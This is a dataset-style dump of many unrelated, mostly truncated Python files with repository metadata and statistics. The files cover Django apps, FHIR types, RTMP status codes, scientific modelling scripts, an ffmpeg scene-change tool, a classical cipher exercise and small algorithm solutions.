2ec9c580e9d9fe03f86c5fe7da0ad85db1b2313b
[ "Apache-2.0" ]
null
null
null
sfo_common/agent.py
SF-Technology/SFO
2ec9c580e9d9fe03f86c5fe7da0ad85db1b2313b
[ "Apache-2.0" ]
3
2019-01-11T10:15:29.000Z
2019-04-01T02:16:13.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright © 2007 Free Software Foundation, Inc. <https://fsf.org/> # # Licensed under the GNU General Public License, version 3 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://jxs...
29.577465
126
0.511587
739
6,300
4.338295
0.308525
0.058328
0.009981
0.022458
0.267623
0.267623
0.230193
0.230193
0.202121
0.179039
0
0.01002
0.366349
6,300
213
127
29.577465
0.792836
0.15381
0
0.419847
0
0
0.086268
0
0
0
0
0
0
0
null
null
0.007634
0.007634
null
null
0.022901
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
7598a6a9adce7d57198847551ae9af6939850840
630
py
Python
src/gocept/reference/generations/install.py
gocept/gocept.reference
cf27b15b4ede876ac6a9e1c376a668fe88895799
[ "ZPL-2.1" ]
1
2019-09-18T05:17:13.000Z
2019-09-18T05:17:13.000Z
src/gocept/reference/generations/install.py
gocept/gocept.reference
cf27b15b4ede876ac6a9e1c376a668fe88895799
[ "ZPL-2.1" ]
6
2020-01-03T11:50:13.000Z
2021-01-13T09:46:39.000Z
src/gocept/reference/generations/install.py
gocept/gocept.reference
cf27b15b4ede876ac6a9e1c376a668fe88895799
[ "ZPL-2.1" ]
null
null
null
# Copyright (c) 2007-2010 gocept gmbh & co. kg # See also LICENSE.txt """Install the reference package.""" import gocept.reference.interfaces import gocept.reference.manager import zope.generations.utility def evolve(context): # Install the reference manager utility into the root site. root = zope.generation...
33.157895
76
0.722222
72
630
6.319444
0.527778
0.230769
0.083516
0
0
0
0
0
0
0
0
0.015414
0.17619
630
18
77
35
0.861272
0.246032
0
0
0
0
0.102784
0
0
0
0
0
0
1
0.090909
false
0
0.272727
0
0.363636
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
759ae48ced6371f2f3fc03f7a8abe858dc39aafb
1,120
py
Python
example_scripts/run_mass_conservation_quickstart.py
PNNL-Comp-Mass-Spec/CRNT4SBML
20406f452863f35f766b504fe2b3f3ab034b62fe
[ "Apache-2.0" ]
null
null
null
example_scripts/run_mass_conservation_quickstart.py
PNNL-Comp-Mass-Spec/CRNT4SBML
20406f452863f35f766b504fe2b3f3ab034b62fe
[ "Apache-2.0" ]
1
2019-09-26T21:04:31.000Z
2019-09-26T21:04:31.000Z
example_scripts/run_mass_conservation_quickstart.py
PNNL-Comp-Mass-Spec/CRNT4SBML
20406f452863f35f766b504fe2b3f3ab034b62fe
[ "Apache-2.0" ]
1
2019-10-29T20:41:34.000Z
2019-10-29T20:41:34.000Z
import crnt4sbml network = crnt4sbml.CRNT("../sbml_files/Fig1Ci.xml") network.print_c_graph() approach = network.get_mass_conservation_approach() print("species for full system") print(network.get_c_graph().get_species()) print("") print("full system") print(network.get_c_graph().get_ode_system()) print("") bound...
32.941176
142
0.7
119
1,120
6.226891
0.403361
0.059379
0.101215
0.059379
0.091768
0.091768
0.091768
0.091768
0
0
0
0.00663
0.191964
1,120
33
143
33.939394
0.812155
0
0
0.166667
0
0
0.132143
0.048214
0
0
0
0
0
1
0
false
0
0.041667
0
0.041667
0.625
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
1
759cb144d46be527737c560f950ecf3e1bcdcf77
2,788
py
Python
vacation/views.py
imasnyper/ltd-priority-list
c22be81d6b0e2c7b4648cd8c7877d01403a527d2
[ "MIT" ]
null
null
null
vacation/views.py
imasnyper/ltd-priority-list
c22be81d6b0e2c7b4648cd8c7877d01403a527d2
[ "MIT" ]
7
2019-12-04T22:23:04.000Z
2022-02-10T07:40:29.000Z
vacation/views.py
imasnyper/ltd-priority-list
c22be81d6b0e2c7b4648cd8c7877d01403a527d2
[ "MIT" ]
null
null
null
import calendar import datetime from django.urls import reverse_lazy, reverse from django.utils import timezone as tz from django.utils.safestring import mark_safe from django.views.generic import CreateView, ListView, UpdateView, DeleteView, DetailView from vacation.calendar import VacationCalendar from vacation.for...
34
101
0.671449
330
2,788
5.518182
0.251515
0.060406
0.030752
0.032949
0.337177
0.248215
0.097748
0.0648
0.0648
0.0648
0
0.003198
0.214849
2,788
81
102
34.419753
0.828689
0.00825
0
0.280702
0
0
0.082157
0
0
0
0
0
0
1
0.052632
false
0
0.157895
0.017544
0.561404
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
75a1f038b95dabbed8ff049f54cf863b7574df54
5,326
py
Python
rtmplib/status.py
Themoaningpirate/Tinychat-Bot--Discontinued
e85cfc6c09a7058a2a6e61074d0cb8b251346539
[ "MIT" ]
7
2016-10-11T02:33:38.000Z
2017-06-16T06:48:04.000Z
rtmplib/status.py
Tinychat/Tinychat-Bot--Discontinued-
e85cfc6c09a7058a2a6e61074d0cb8b251346539
[ "MIT" ]
11
2017-02-17T18:21:26.000Z
2017-08-06T15:30:01.000Z
rtmplib/status.py
Tinychat/Tinychat-Bot--Discontinued-
e85cfc6c09a7058a2a6e61074d0cb8b251346539
[ "MIT" ]
4
2018-01-19T02:57:26.000Z
2020-02-27T01:49:56.000Z
""" This file contains different status codes for NetConnection, NetStream and SharedObject. The source code was taken from the rtmpy project (https://github.com/hydralabs/rtmpy) https://github.com/hydralabs/rtmpy/blob/master/rtmpy/status/codes.py """ # === NetConnection status codes and what they mean. === ...
35.744966
89
0.76211
734
5,326
5.399183
0.286104
0.018168
0.013878
0.013626
0.170578
0.135251
0.088317
0.088317
0.088317
0.071158
0
0.000446
0.158092
5,326
148
90
35.986486
0.883363
0.569846
0
0
0
0
0.48676
0.431391
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
75a3fea3b153d01537af2044c476ad7003e979f5
4,910
py
Python
src/fhir_types/FHIR_MedicinalProductPackaged.py
anthem-ai/fhir-types
42348655fb3a9b3f131b911d6bc0782da8c14ce4
[ "Apache-2.0" ]
2
2022-02-03T00:51:30.000Z
2022-02-03T18:42:43.000Z
src/fhir_types/FHIR_MedicinalProductPackaged.py
anthem-ai/fhir-types
42348655fb3a9b3f131b911d6bc0782da8c14ce4
[ "Apache-2.0" ]
null
null
null
src/fhir_types/FHIR_MedicinalProductPackaged.py
anthem-ai/fhir-types
42348655fb3a9b3f131b911d6bc0782da8c14ce4
[ "Apache-2.0" ]
null
null
null
from typing import Any, List, Literal, TypedDict from .FHIR_code import FHIR_code from .FHIR_CodeableConcept import FHIR_CodeableConcept from .FHIR_Element import FHIR_Element from .FHIR_id import FHIR_id from .FHIR_Identifier import FHIR_Identifier from .FHIR_MarketingStatus import FHIR_MarketingStatus from .FHIR_Med...
70.142857
839
0.75947
641
4,910
5.733229
0.312012
0.019048
0.017687
0.013878
0.187211
0.171429
0.171429
0.171429
0.171429
0.171429
0
0
0.197352
4,910
69
840
71.15942
0.932504
0.604277
0
0
0
0
0.15
0.039063
0
0
0
0
0
1
0
false
0
0.311111
0
0.311111
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
75accf870850f8469d2247dfcc71e9c290cd6eea
407
py
Python
terra_layer/migrations/0040_filterfield_format_type.py
Terralego/terra-layer
6564a63d389503d3ae1f63ce46e674b228d6764b
[ "MIT" ]
1
2019-08-08T15:17:32.000Z
2019-08-08T15:17:32.000Z
terra_layer/migrations/0040_filterfield_format_type.py
Terralego/terra-layer
6564a63d389503d3ae1f63ce46e674b228d6764b
[ "MIT" ]
65
2019-10-21T10:05:00.000Z
2022-03-08T14:08:27.000Z
terra_layer/migrations/0040_filterfield_format_type.py
Terralego/terra-layer
6564a63d389503d3ae1f63ce46e674b228d6764b
[ "MIT" ]
null
null
null
# Generated by Django 2.1.12 on 2019-09-24 09:01 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [("terra_layer", "0039_layer_main_field")] operations = [ migrations.AddField( model_name="filterfield", name="format_type", ...
23.941176
76
0.643735
48
407
5.3125
0.8125
0
0
0
0
0
0
0
0
0
0
0.074675
0.243243
407
16
77
25.4375
0.753247
0.113022
0
0
1
0
0.150418
0.058496
0
0
0
0
0
1
0
false
0
0.1
0
0.4
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
75b3ff144367da1c567278a7c91f0dd54052678a
1,303
py
Python
vulcan/model/_serializable.py
v0idzz/vulcan-api
1ae83d90236e678042a9f85f6c34b6bd82bf279f
[ "MIT" ]
49
2019-01-10T22:10:19.000Z
2022-01-10T17:07:51.000Z
vulcan/model/_serializable.py
Antoni-Czaplicki/vulcan-api
a1d9127ce156013a7a803f31b55591989f05ba5a
[ "MIT" ]
47
2019-01-08T21:04:17.000Z
2022-03-21T04:02:37.000Z
vulcan/model/_serializable.py
Antoni-Czaplicki/vulcan-api
a1d9127ce156013a7a803f31b55591989f05ba5a
[ "MIT" ]
31
2019-05-04T14:05:33.000Z
2021-11-01T18:51:16.000Z
# -*- coding: utf-8 -*- import io import json from typing import Type, TypeVar from related import immutable, to_json, to_model T = TypeVar("T") @immutable class Serializable: """A base class allowing to (de)serialize objects easily into appropriate class variables. """ @property def as_json(s...
23.267857
69
0.580967
162
1,303
4.617284
0.407407
0.037433
0.044118
0.064171
0.109626
0
0
0
0
0
0
0.001124
0.316961
1,303
55
70
23.690909
0.839326
0.323101
0
0.08
0
0
0.023407
0
0
0
0
0
0
1
0.12
false
0
0.16
0
0.56
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
75b417d819fd7f87fe0e9a40e0e543ac19c17fb5
1,642
py
Python
tools/convenience.py
brajard/DAPPER
1a513b2f23041b15fb335aeb17906607bf2a5350
[ "MIT" ]
null
null
null
tools/convenience.py
brajard/DAPPER
1a513b2f23041b15fb335aeb17906607bf2a5350
[ "MIT" ]
null
null
null
tools/convenience.py
brajard/DAPPER
1a513b2f23041b15fb335aeb17906607bf2a5350
[ "MIT" ]
3
2020-01-25T16:35:00.000Z
2021-04-08T03:20:48.000Z
try: from common import * except: from DAPPER.common import * def simulate(setup,desc='Truth & Obs'): """Generate synthetic truth and observations.""" f,h,chrono,X0 = setup.f, setup.h, setup.t, setup.X0 # Init xx = zeros((chrono.K+1,f.m)) xx[0] = X0.sample(1) yy = zeros((chrono.KObs+1,h.m)) ...
26.063492
81
0.604141
292
1,642
3.369863
0.321918
0.015244
0.036585
0.020325
0.300813
0.300813
0.27439
0.27439
0.27439
0.27439
0
0.018983
0.197929
1,642
62
82
26.483871
0.72817
0.107186
0
0.243902
1
0.02439
0.093103
0
0
0
0
0
0
1
0.073171
false
0
0.04878
0
0.195122
0.02439
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
75b5cfdf37d927d014f372a8eace868a858a097c
3,136
py
Python
scenechange.py
kieranjol/scenechange
cb7d236d448ca5137eac10fb01c105e7b9fe9ca8
[ "MIT" ]
3
2020-12-08T16:21:03.000Z
2021-03-27T08:38:08.000Z
scenechange.py
kieranjol/scenechange
cb7d236d448ca5137eac10fb01c105e7b9fe9ca8
[ "MIT" ]
null
null
null
scenechange.py
kieranjol/scenechange
cb7d236d448ca5137eac10fb01c105e7b9fe9ca8
[ "MIT" ]
null
null
null
#!/usr/bin/env python ''' Remuxes video files to matrosa and inserts chapter markers at scene changes. Scene changes are detected by using the YDIFF filter in ffmpeg/signalstats. YDIFF plots time based difference in luminance values, so a larger value most likely means a scene change. Written by Kieran O'Leary. ''' im...
28
92
0.613839
401
3,136
4.648379
0.416459
0.033798
0.020923
0.017167
0.074034
0.025751
0
0
0
0
0
0.010917
0.26977
3,136
111
93
28.252252
0.803057
0.029974
0
0.054054
0
0.013514
0.192609
0.055652
0
0
0
0
0
0
null
null
0
0.067568
null
null
0.013514
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
75c159f9665faec4ae123ad3ebc00de7a19849f2
353
py
Python
computing.py
tcstewar/nengo_teaching_examples
4abcf6d98f07af02b34ee077a2f5d83c3cdd6d14
[ "MIT" ]
1
2019-08-28T23:09:27.000Z
2019-08-28T23:09:27.000Z
computing.py
tcstewar/nengo_teaching_examples
4abcf6d98f07af02b34ee077a2f5d83c3cdd6d14
[ "MIT" ]
null
null
null
computing.py
tcstewar/nengo_teaching_examples
4abcf6d98f07af02b34ee077a2f5d83c3cdd6d14
[ "MIT" ]
1
2021-03-08T15:14:47.000Z
2021-03-08T15:14:47.000Z
import nengo import numpy as np model = nengo.Network() with model: a = nengo.Ensemble(n_neurons=100, dimensions=2, radius=1.5) stim = nengo.Node([0,0]) nengo.Connection(stim, a) b = nengo.Ensemble(n_neurons=100, dimensions=1) def product(x): return x[0]*x[1] nengo.Co...
22.0625
63
0.628895
53
353
4.150943
0.528302
0.118182
0.127273
0.190909
0.309091
0.309091
0
0
0
0
0
0.052045
0.23796
353
15
64
23.533333
0.765799
0
0
0
0
0
0
0
0
0
0
0
0
1
0.090909
false
0
0.181818
0.090909
0.363636
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
75c323f1c66c2f7e4405f290403b0cd08278a503
1,966
py
Python
nca47/objects/dns/region_info.py
WosunOO/nca_xianshu
bbb548cb67b755a57528796d4c5a66ee68df2678
[ "Apache-2.0" ]
null
null
null
nca47/objects/dns/region_info.py
WosunOO/nca_xianshu
bbb548cb67b755a57528796d4c5a66ee68df2678
[ "Apache-2.0" ]
null
null
null
nca47/objects/dns/region_info.py
WosunOO/nca_xianshu
bbb548cb67b755a57528796d4c5a66ee68df2678
[ "Apache-2.0" ]
null
null
null
from nca47.db import api as db_api from nca47.db.sqlalchemy.models import Region as RegionModel from nca47.objects import base from nca47.objects import fields as object_fields from nca47.api.controllers.v1 import tools class RegionInfo(base.Nca47Object): VERSION = '1.0' fields = { 'tenant_id': objec...
32.766667
77
0.67294
248
1,966
5.116935
0.258065
0.035461
0.049645
0.047281
0.174153
0.107171
0.107171
0.056738
0
0
0
0.009881
0.227874
1,966
59
78
33.322034
0.826087
0.106307
0
0.146341
0
0
0.024447
0
0
0
0
0
0
1
0.195122
false
0
0.121951
0
0.560976
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
75c50447e65231f4d57b6dbafda5a467e3f90574
5,807
py
Python
deployer/services/storage/base.py
totem/cluster-deployer
75160f051250fd782af42af472f965d50f721ff5
[ "MIT" ]
null
null
null
deployer/services/storage/base.py
totem/cluster-deployer
75160f051250fd782af42af472f965d50f721ff5
[ "MIT" ]
27
2015-01-03T04:38:01.000Z
2016-11-08T20:33:58.000Z
deployer/services/storage/base.py
totem/cluster-deployer
75160f051250fd782af42af472f965d50f721ff5
[ "MIT" ]
2
2016-08-30T08:03:40.000Z
2017-05-01T19:08:20.000Z
import copy import datetime import pytz from deployer.util import dict_merge __author__ = 'sukrit' """ Module containing methods for storing deployment/other information in persist storage like mongo """ EVENT_NEW_DEPLOYMENT = 'NEW_DEPLOYMENT' EVENT_ACQUIRED_LOCK = 'ACQUIRED_LOCK' EVENT_DEPLOYMENTS_STOPPED = 'DEPLOY...
31.053476
79
0.629585
644
5,807
5.501553
0.245342
0.047417
0.045159
0.048264
0.177251
0.158623
0.113181
0.083545
0.059836
0.032741
0
0
0.297744
5,807
186
80
31.22043
0.868808
0.433959
0
0.163934
0
0
0.117402
0.018734
0
0
0
0
0
1
0.229508
false
0.032787
0.065574
0.016393
0.327869
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
75c64de3860d18ab309bd620499c20e4f2d12f77
1,415
py
Python
main.py
mor3s/UE_Crypto_Charpak
28dd3a440c55d7d05592a0d52226a7523c1c7885
[ "MIT" ]
null
null
null
main.py
mor3s/UE_Crypto_Charpak
28dd3a440c55d7d05592a0d52226a7523c1c7885
[ "MIT" ]
null
null
null
main.py
mor3s/UE_Crypto_Charpak
28dd3a440c55d7d05592a0d52226a7523c1c7885
[ "MIT" ]
null
null
null
# coding: utf-8 import os from lib import * from tqdm import tqdm # Vigenere complexity : O(n^4 + n^3 + n^2 + n) # Cesar complexity : O(n^2(n+1)/2 + n) def auto_decipher(code, n): if max(freq(code).items(), key=operator.itemgetter(1))[0] == ' ': method = scytale else: method = vigenere pr...
31.444444
130
0.623322
216
1,415
3.986111
0.310185
0.046458
0.065041
0.12079
0.694541
0.652729
0.652729
0.652729
0.652729
0.643438
0
0.021958
0.227562
1,415
44
131
32.159091
0.765782
0.444523
0
0.48
0
0
0.142487
0.121762
0
0
0
0
0
1
0.08
false
0
0.12
0
0.2
0.12
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
75c8b1f60bcddb89391c5ee2d6fef05fb0f8afa0
1,208
py
Python
apps/events/migrations/0028_auto_20200525_1440.py
Kpaubert/onlineweb4
9ac79f163bc3a816db57ffa8477ea88770d97807
[ "MIT" ]
32
2017-02-22T13:38:38.000Z
2022-03-31T23:29:54.000Z
apps/events/migrations/0028_auto_20200525_1440.py
Kpaubert/onlineweb4
9ac79f163bc3a816db57ffa8477ea88770d97807
[ "MIT" ]
694
2017-02-15T23:09:52.000Z
2022-03-31T23:16:07.000Z
apps/events/migrations/0028_auto_20200525_1440.py
Kpaubert/onlineweb4
9ac79f163bc3a816db57ffa8477ea88770d97807
[ "MIT" ]
35
2017-09-02T21:13:09.000Z
2022-02-21T11:30:30.000Z
# Generated by Django 3.0.6 on 2020-05-25 12:40 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ("events", "0027_auto_20200420_1143"), ] operations = [ migrations.AlterModelOptions( name="attendanceevent", options={ ...
30.2
83
0.488411
86
1,208
6.72093
0.511628
0.140138
0.1609
0.145329
0.307958
0.307958
0.307958
0.224913
0.224913
0.224913
0
0.040052
0.359272
1,208
39
84
30.974359
0.706718
0.037252
0
0.424242
1
0
0.3118
0.019811
0
0
0
0
0
1
0
false
0
0.030303
0
0.121212
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
75c96b9637baa19e6fd734502dd815c7cf1f62cf
449
py
Python
src/core/util/app/ErrorFactory/api/RoutingErrors.py
xxdunedainxx/Z-Py
52d88e978300e371b484fe628bbc7d40fdd5beba
[ "Apache-2.0" ]
null
null
null
src/core/util/app/ErrorFactory/api/RoutingErrors.py
xxdunedainxx/Z-Py
52d88e978300e371b484fe628bbc7d40fdd5beba
[ "Apache-2.0" ]
null
null
null
src/core/util/app/ErrorFactory/api/RoutingErrors.py
xxdunedainxx/Z-Py
52d88e978300e371b484fe628bbc7d40fdd5beba
[ "Apache-2.0" ]
null
null
null
from .CoreInternalError import InternalAPIError class InvalidAPIMethod(InternalAPIError): def __init__(self,method): super().__init__( message=f"{method} not allowed for this API", returnCode=405) class InvalidMethodForRoute(InternalAPIError): def __init__(self,method,route): ...
34.538462
76
0.67706
45
449
6.4
0.511111
0.131944
0.159722
0.1875
0.506944
0.277778
0.277778
0.277778
0.277778
0
0
0.017341
0.229399
449
13
77
34.538462
0.815029
0
0
0.363636
0
0
0.188889
0
0
0
0
0
0
1
0.181818
false
0
0.090909
0
0.454545
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
75cda47ff444ad00623d0ffb47bd630e6d2909e1
665
py
Python
teamlogic/migrations/0012_auto_20170621_1519.py
Imperat/ADFS_managers
10bedae2be3c443d141941c710f05a8a60c3cdfd
[ "Apache-2.0" ]
11
2017-07-05T20:03:00.000Z
2018-09-19T17:18:26.000Z
teamlogic/migrations/0012_auto_20170621_1519.py
Imperat/ADFS_managers
10bedae2be3c443d141941c710f05a8a60c3cdfd
[ "Apache-2.0" ]
50
2016-07-15T16:21:03.000Z
2018-04-17T11:18:06.000Z
teamlogic/migrations/0012_auto_20170621_1519.py
Imperat/ADFS_managers
10bedae2be3c443d141941c710f05a8a60c3cdfd
[ "Apache-2.0" ]
6
2017-06-23T14:53:38.000Z
2022-01-03T12:38:46.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2017-06-21 15:19 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('teamlogic', '0011_auto_20170618_1135'), ] operations = [ migrations.AddField...
25.576923
108
0.598496
72
665
5.375
0.736111
0.046512
0
0
0
0
0
0
0
0
0
0.072165
0.270677
665
25
109
26.6
0.725773
0.100752
0
0.111111
1
0
0.132773
0.038655
0
0
0
0
0
1
0
false
0
0.111111
0
0.277778
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
75ceb9d3f05b9b73645b193c1e83091693690b61
3,646
py
Python
backend/farm/views/production_resource.py
szkkteam/agrosys
a390332202f7200632d2ff3816e1b0f3cc76f586
[ "MIT" ]
null
null
null
backend/farm/views/production_resource.py
szkkteam/agrosys
a390332202f7200632d2ff3816e1b0f3cc76f586
[ "MIT" ]
null
null
null
backend/farm/views/production_resource.py
szkkteam/agrosys
a390332202f7200632d2ff3816e1b0f3cc76f586
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # Common Python library imports # Pip package imports # Internal package imports from backend.api import ModelResource, Resource, ALL_METHODS, CREATE, DELETE, GET, LIST, PATCH, PUT from backend.security.decorators import auth_required from backend.api.decorators import par...
42.395349
137
0.712836
425
3,646
5.934118
0.251765
0.06027
0.01586
0.034893
0.451626
0.391753
0.361618
0.326725
0.293418
0.259318
0
0.005349
0.179649
3,646
85
138
42.894118
0.837847
0.177729
0
0.355932
0
0
0.067854
0.067854
0
0
0
0.011765
0.016949
1
0.084746
false
0
0.101695
0
0.457627
0.016949
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
75cf7e2c56323ea475beadc08ace8422f1bcf7c0
2,280
py
Python
parser/list-untagged-nbests.py
belambert/asr_tools
90a0980210882b62a5febc99bc77796aa2dc1307
[ "Apache-2.0" ]
2
2017-12-29T06:40:16.000Z
2018-01-19T22:18:47.000Z
parser/list-untagged-nbests.py
belambert/asr_tools
90a0980210882b62a5febc99bc77796aa2dc1307
[ "Apache-2.0" ]
null
null
null
parser/list-untagged-nbests.py
belambert/asr_tools
90a0980210882b62a5febc99bc77796aa2dc1307
[ "Apache-2.0" ]
1
2017-01-16T09:02:28.000Z
2017-01-16T09:02:28.000Z
#!/usr/bin/python import sys import os from subprocess import call folder=sys.argv[1] files=os.listdir(folder) #print(files[:10]) #result looks like this... #['fe_03_00347.ch1_6952_7311.nbest.tagged.gz', 'fe_03_00289.ch2_27364_27419.nbest.tagged.gz', 'fe_03_00168.ch1_17238_17412.nbest.gz', 'fe_03_00297.ch2_52629_5...
38
433
0.697807
382
2,280
3.921466
0.230366
0.056075
0.064085
0.058745
0.499332
0.401869
0.383845
0.293057
0.140854
0.140854
0
0.091363
0.121491
2,280
59
434
38.644068
0.656515
0.550877
0
0
0
0
0.104313
0
0
0
0
0
0
0
null
null
0
0.142857
null
null
0.190476
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
75d3764ab0f3328cddb5e7a0b45e1f2f192cc1bf
1,071
py
Python
conduit/apps/articles/models.py
bogdan-veliscu/conduit-django
3cef055906e323f20d61301f87e56629836abd42
[ "MIT" ]
null
null
null
conduit/apps/articles/models.py
bogdan-veliscu/conduit-django
3cef055906e323f20d61301f87e56629836abd42
[ "MIT" ]
null
null
null
conduit/apps/articles/models.py
bogdan-veliscu/conduit-django
3cef055906e323f20d61301f87e56629836abd42
[ "MIT" ]
null
null
null
from django.db import models from conduit.apps.core.models import TimestampedModel class Article(TimestampedModel): slug = models.SlugField(db_index=True, max_length=255, unique=True) title = models.CharField(db_index=True, max_length=255) description = models.TextField() body = models.TextField() ...
25.5
77
0.687208
120
1,071
5.958333
0.358333
0.061538
0.046154
0.088112
0.404196
0.244755
0.111888
0
0
0
0
0.010588
0.206349
1,071
41
78
26.121951
0.830588
0
0
0.148148
0
0
0.085901
0
0
0
0
0
0
1
0.074074
false
0
0.074074
0.074074
0.740741
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
75d65e45d03cf506c4a2e575b0f8d803c7850687
1,537
py
Python
P2-Softmax Implementation/main.py
MANOJPATRA1991/Deep-Learning-Nanodegree
4848df7dbc8ff413ad79f4437a76c4bb212be8c9
[ "MIT" ]
null
null
null
P2-Softmax Implementation/main.py
MANOJPATRA1991/Deep-Learning-Nanodegree
4848df7dbc8ff413ad79f4437a76c4bb212be8c9
[ "MIT" ]
null
null
null
P2-Softmax Implementation/main.py
MANOJPATRA1991/Deep-Learning-Nanodegree
4848df7dbc8ff413ad79f4437a76c4bb212be8c9
[ "MIT" ]
null
null
null
import numpy as np # Write a function that takes as input a list of numbers, and returns # the list of values given by the softmax function. # This implementation supports L of any dimensionality def softmax(L): # Let L = [5, 6, 7] # View inputs as arrays with atleast two dimensions y = np.atleast_2d(L) # [[ ...
42.694444
117
0.620039
267
1,537
3.524345
0.385768
0.029756
0.025505
0.028693
0.125399
0.099894
0.059511
0.059511
0
0
0
0.080279
0.254392
1,537
35
118
43.914286
0.740838
0.682498
0
0
0
0
0
0
0
0
0
0
0
1
0.083333
false
0.083333
0.083333
0
0.25
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
75d7ac65a103fb5499ee1853edbeac50ffa108cd
21,329
py
Python
gui_builder/fields.py
accessibleapps/gui_builder
7996b1bec9afaa4f94b3446c007883f878c4cda5
[ "MIT" ]
3
2019-11-07T03:30:52.000Z
2020-03-25T12:59:06.000Z
gui_builder/fields.py
accessibleapps/gui_builder
7996b1bec9afaa4f94b3446c007883f878c4cda5
[ "MIT" ]
2
2021-06-25T15:47:57.000Z
2021-09-09T20:35:31.000Z
gui_builder/fields.py
accessibleapps/gui_builder
7996b1bec9afaa4f94b3446c007883f878c4cda5
[ "MIT" ]
1
2020-09-03T15:33:35.000Z
2020-09-03T15:33:35.000Z
from __future__ import absolute_import from logging import getLogger logger = getLogger("gui_builder.fields") import traceback from .widgets import wx_widgets as widgets try: unicode except NameError: unicode = str class UnboundField(object): creation_counter = 0 _GUI_FIELD = Tr...
31.274194
266
0.611515
2,610
21,329
4.822989
0.134483
0.07388
0.055926
0.027169
0.236495
0.147839
0.098109
0.074754
0.056244
0.036225
0
0.000467
0.297717
21,329
681
267
31.320117
0.839909
0.155797
0
0.146608
0
0
0.043065
0.001408
0
0
0
0
0
1
0.221007
false
0.002188
0.008753
0.050328
0.483589
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
75e13961e2e477689e41586e6f6da864d758053e
1,055
py
Python
lintcode/Depth First Search & Backtracking/480. Binary Tree Paths.py
yanshengjia/algorithm
0608d286be9c93d51768d47f21e569c6b0be9cda
[ "MIT" ]
23
2019-08-02T12:02:47.000Z
2022-03-09T15:24:16.000Z
lintcode/Depth First Search & Backtracking/480. Binary Tree Paths.py
yanshengjia/algorithm
0608d286be9c93d51768d47f21e569c6b0be9cda
[ "MIT" ]
null
null
null
lintcode/Depth First Search & Backtracking/480. Binary Tree Paths.py
yanshengjia/algorithm
0608d286be9c93d51768d47f21e569c6b0be9cda
[ "MIT" ]
21
2019-12-22T04:47:32.000Z
2021-09-12T14:29:35.000Z
""" Given a binary tree, return all root-to-leaf paths. Example 1: Input:{1,2,3,#,5} Output:["1->2->5","1->3"] Explanation: 1 / \ 2 3 \ 5 Solution: DFS + Backtracking """ """ Definition of TreeNode: class TreeNode: def __init__(self, val): self.val = val self.left, self.right = No...
19.90566
52
